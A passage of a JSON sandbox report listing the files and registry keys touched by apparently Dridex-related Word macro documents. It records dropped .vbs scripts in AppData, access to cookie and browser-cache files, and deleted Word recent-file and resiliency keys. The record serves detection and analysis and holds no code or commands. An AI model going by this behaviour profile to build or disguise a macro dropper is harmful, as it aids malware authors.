E\\srvsvc","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\dridex_trigger.bin.LNK","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%SAMPLEDIR%\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%SAMPLEDIR%\\dridex_trigger.bin.doc","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (Z)","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (Z).LNK","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL\\3","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\MSO1033.acl","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE12\\1031\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%WINDIR%\\system32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%TEMP%\\403171.cvr","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%TEMP%\\403234.od","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\12.0\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\DW\\DW20.EXE","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\OFFDIAG.EXE","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\1213.vbs","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%WINDIR%\\system32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\WScript.exe","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\en-US\\WScript.exe.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\wscript.exe","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\en\\WScript.exe.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\1213.vbs\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%USERPROFILE%\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%USERPROFILE%\\AppData\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"C:\\Users\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoft[2].txt","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%WINDIR%\\System32\\netmsg.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\WINWORD.EXE","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE11\\1031\\msxml5r.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{8358996D-54B3-4F8E-9D1C-D8E307B832B7}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\System32\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"C:\\~$idex_trigger.bin.doc","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"C:\\dridex_trigger.bin.doc","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{440F4267-A304-444B-B26D-C221F1199930}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{59EEBE87-3FBF-47A5-BD9E-73948C0716A6}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{E44B74E9-86F5-4098-BA7D-9C6F712D8BB9}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (C)","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (C).LNK","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%TEMP%\\VBE","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\1031\\Bibliography\\BibForm.XML","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"C:\\Program Files","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\Microsoft Office","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography\\Style","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography\\Style\\APA.XSL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\en-US\\msdrm.dll.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\1053.vbs","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{549C74F3-C291-496D-8E1E-D2802EB01ADE}.tmp","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"C:\\~$ng_Commandline_Wordfile.bin.doc","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{8B45469E-3485-438A-9DF8-6AD6F48ED7BB}.tmp","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{8D214239-1D99-4909-9643-BBECC8959135}.tmp","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{86919D60-4770-451E-A487-2B429396818D}.tmp","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"C:\\Users\\dj7FYA5","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Long_Commandline_Wordfile.bin","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"C:\\Long_Commandline_Wordfile.bin.doc","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Long_Commandline_Wordfile.bin.LNK","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\en-US\\PROPSYS.dll.mui","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\708.vbs","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\dj7fya5@www.microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\XK1\\XK1","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\NJ1\\NJ1","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 